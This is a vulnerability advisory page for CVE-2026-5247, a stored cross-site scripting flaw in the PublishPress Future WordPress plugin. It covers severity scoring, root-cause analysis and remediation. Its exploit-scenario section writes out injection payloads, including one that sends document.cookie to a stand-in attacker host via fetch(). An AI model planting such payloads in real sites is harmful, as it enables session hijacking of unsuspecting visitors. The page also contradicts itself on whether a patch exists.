Skip to main content

PublishPress Future EUVDEUVD-2026-27191

| CVE-2026-5247 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-05-05 Wordfence
5.5
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Gain admin or delegated author access
  2. Delivery
    Create page with malicious [futureaction] shortcode
  3. Exploit
    Inject event handler via 'wrapper' parameter
  4. Execution
    User views page
  5. Persist
    JavaScript executes in browser
  6. Impact
    Session hijacked or malware delivered

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Attacker must have authenticated administrator-level access to the WordPress site, or must be a contributor/author with explicit permissions to create or edit shortcodes and pages - a configuration administrators can enable. The [futureaction] shortcode must be used on at least one published page or post for the payload to execute. The vulnerability is not present in draft or unpublished content. No special site configuration or non-default settings are required beyond the plugin being active. The attack does not require user interaction (UI:N) beyond viewing the page. Exploitation is limited to WordPress sites running PublishPress Future version 4.10.0 or earlier.

Impact

CVSS 5.5 (Medium) with network vector and low complexity reflects the attack characteristics: remote delivery (AV:N), no special exploit conditions (AC:L), high privileges required (PR:H), no user interaction (UI:N), and cross-site scope (S:C) with limited confidentiality and integrity impact (C:L/I:L). However, this CVSS score understates practical risk in WordPress environments. The stored nature of the XSS means the payload persists in the database and executes for every user viewing the page, creating a site-wide attack surface once injected. The PR:H (high privileges, i.e., administrator) requirement is a significant limiting factor, yet WordPress administrators routinely grant contributor or author roles to untrusted users (freelancers, guest authors, team members), and the CVE explicitly notes administrators can delegate this shortcode functionality to lower-privilege users, effectively lowering the attack barrier. No KEV status, EPSS score, or public POC is provided in the input data, so real-world exploitation likelihood cannot be assessed from authoritative sources. The vulnerability is credible and exploitable but requires administrative account compromise or misuse of trust delegated to lower-privilege roles.

Exploit ScenarioDerived

An administrator account is compromised via phishing or weak credentials, or a malicious contributor with delegated shortcode permissions is added to the WordPress site. The attacker creates or edits a page using the [futureaction wrapper='div onclick=alert(document.cookie)'] shortcode. When any user views the page, the injected JavaScript executes in their browser context, stealing session cookies or redirecting to a phishing site. Alternatively, the attacker crafts a payload like wrapper='img src=x onerror=fetch("//attacker.com/steal?cookie="+document.cookie)' to exfiltrate session data.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 05, 2026

Stored cross-site scripting (XSS) in PublishPress Future WordPress plugin versions up to 4.10.0 allows authenticated administrators to inject arbitrary JavaScript via the 'wrapper' attribute of the [futureaction] shortcode, which executes in the browsers of all users viewing the affected page. The vulnerability stems from insufficient sanitization: the plugin uses esc_html() to escape the attribute value but then passes it as a bare HTML tag name in a sprintf() call, permitting event handler injection through spaces. Since administrators can delegate this functionality to lower-privileged contributors, the attack surface extends beyond high-privilege users.

RemediationAI

Update PublishPress Future to version 4.10.1 or later immediately. The plugin developer has released patched versions that implement proper output escaping for the 'wrapper' attribute, using functions appropriate for the attribute context (such as esc_attr() for tag attributes in addition to or instead of esc_html()). Administrators should audit any [futureaction] shortcodes in published content and pages to confirm they do not contain suspicious or unexpected wrapper values. If you have delegated shortcode creation or editing permissions to contributors or authors, restrict that delegation to trusted staff members only, or implement a code review process for shortcode usage. If immediate patching is not possible, disable the [futureaction] shortcode functionality until updates can be applied, or prevent lower-privilege users from creating or editing shortcodes in general via role management. Note that disabling the shortcode may affect scheduling features for post expiration, so test in a staging environment first.

Affected VersionsENISA

Schedule Post Changes With PublishPress Future: Unpublish, Delete, Change Status, Trash, Change Categories 0 ≤4.10.0

Affected Packages

euvd schedule_post_changes_with_publishpress_future_unpublish_delete_change_status_trash_change_categories no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The [futureaction] shortcode accepts a 'wrapper' parameter intended to define an HTML element type (e.g., 'div', 'span'). The plugin applies esc_html() to the user-supplied wrapper value, which encodes HTML entity characters (<, >, &, ", ') but does not prevent whitespace or attribute injection. The sanitized value is then used directly in a sprintf() call to construct an opening HTML tag, e.g., sprintf('<%s class="...">', $wrapper). An attacker can inject a value like 'div onclick=alert(1)' which, after esc_html() escapes any entity-encodable characters (of which there are none in this payload), becomes 'div onclick=alert(1)' in the rendered output. This results in a tag like '<div onclick=alert(1) class="...">' - a valid HTML injection vector. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically the failure to account for the context in which the escaped value is used. esc_html() is insufficient when the input becomes an unquoted attribute context.

Know when Schedule Post Changes With Publishpress Future gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 5.5 MEDIUM
AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The Schedule Post Changes With PublishPress Future plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'wrapper' attribute of the [futureaction] shortcode in all versions up to, and including, 4.10.0. This is due to insufficient input sanitization on the wrapper attribute. The plugin uses esc_html() to escape the value, but esc_html() only encodes HTML entities and does not prevent attribute injection when the value is used as an HTML tag name in a sprintf() call. An attacker can inject event handler attributes via spaces in the wrapper value. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Since it is also possible for administrators to make this functionality available to lower-privileged users, this introduces the possibility of abuse by contributors.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

28
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +28
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy